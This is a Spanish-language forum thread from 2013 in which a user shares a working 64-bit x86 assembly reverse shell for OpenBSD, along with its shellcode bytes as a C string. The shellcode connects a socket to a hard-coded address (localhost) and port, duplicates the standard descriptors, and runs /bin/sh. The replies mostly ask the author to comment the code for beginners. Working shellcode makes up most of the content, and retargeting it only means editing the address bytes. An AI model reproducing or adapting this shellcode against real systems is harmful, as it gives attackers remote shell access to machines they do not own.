Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: xv0 en 11 Enero 2013, 14:41 pm



Título: [!] Reverse shell Unix-like
Publicado por: xv0 en 11 Enero 2013, 14:41 pm
Hola

Para poner en practica los conocimientos que voy adquiriendo en ASM, hice una pequeña reverse shell de 64bits.

Esta testeada en OpenBSD y en nivel local, no remoto, solo es para poner en practica mis conocimientos, eso lo dejo bien claro.

Código
  1. .section .text
  2. .globl _start
  3.  
  4. _start:
  5.  
  6. incb %al
  7. pushq %rax
  8. popq %rsi
  9. incb %al
  10. pushq %rax                      //socket
  11. popq %rdi
  12. orb $0x4, %al
  13. pushq %rax
  14. popq %rdx
  15. addb $0x5b, %al
  16. syscall
  17.  
  18. xchgq %rax, %rdi            //descriptor
  19.  
  20. movq $0x0100007f4dbc02ff, %rbx        //sockaddr_in
  21. pushq %rbx
  22.  
  23. movq %rsp, %rsi
  24. movb $0x10, %dl                   //connect
  25. orb $0x60, %al
  26. syscall
  27.  
  28. xorq %rsi, %rsi
  29.  
  30. C.0:
  31.  
  32. movb $0x5a, %al
  33. syscall
  34. incb %sil                             //dup2 0,1,2
  35. cmpb $0x03, %sil
  36.  
  37. loopne C.0
  38.  
  39. movq $0x68732f6e69622fff, %rbx
  40. shrq $0x8, %rbx
  41. pushq %rbx
  42. movq %rsp, %rdi
  43. xorb %al, %al                       //execve sh
  44. pushq %rax
  45. movq %rsp, %rsi
  46. xchgq %rax, %rdx
  47. addb $0x2b, %al
  48. syscall
  49.  
  50. xorb %al, %al
     

C:

Código
  1. "\xfe\xc0\x50\x5e\xfe\xc0\x50\x5f\x0c\x04\x50\x5a"
  2. "\x04\x5b\x0f\x05\x48\x97\x48\xbb\xff\x02"
  3. "\xbc\x4d"                  // puerto
  4. "\x7f\x00\x00\x01"         // direccion
  5. "\x53\x48\x89\xe6\xb2\x10\x0c\x60\x0f\x05\x48\x31"
  6. "\xf6\xb0\x5a\x0f\x05\x48\xff\xc6\x48\x83\xfe\x03"
  7. "\xe0\xf3\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
  8. "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x30\xc0\x50\x48"
  9. "\x89\xe6\x48\x92\x04\x2b\x0f\x05\x30\xc0";

Cualquier pregrunta sobre el código no os cortéis.

Un saludo.


Título: Re: [!] Reverse shell Unix-like
Publicado por: 0xDani en 11 Enero 2013, 15:59 pm
Vendria bien que le pusieses comentarios al codigo, para que lo podamos entender mejor.

Enhorabuena por terminar la reverse shell  ;-)

Saludos.


Título: Re: [!] Reverse shell Unix-like
Publicado por: xv0 en 12 Enero 2013, 01:53 am
Cual es la parte que no entiendes bien?

Un saludo.


Título: Re: [!] Reverse shell Unix-like
Publicado por: ameise_1987 en 12 Enero 2013, 02:49 am
de estas hay bastantes, si te piden que la comentes la idea es que sea legible para las personas que recién se inician, eso creo yo.

saludos y gracias por compartir!!.


Título: Re: [!] Reverse shell Unix-like
Publicado por: xv0 en 14 Enero 2013, 16:19 pm
Lo comentó línea por línea?

Un saludo.

P.D: También dejare el opcode para los de C.


Título: Re: [!] Reverse shell Unix-like
Publicado por: jackgris en 15 Enero 2013, 13:30 pm
Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje


Título: Re: [!] Reverse shell Unix-like
Publicado por: Falso Positivo en 15 Enero 2013, 16:36 pm
Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje

eso tiene algo de realidad, pero una cosa es comentarlo para uno y otra orientada a personas que quieren aprender y empiezan por tratar de entender el funcionamiento de la rs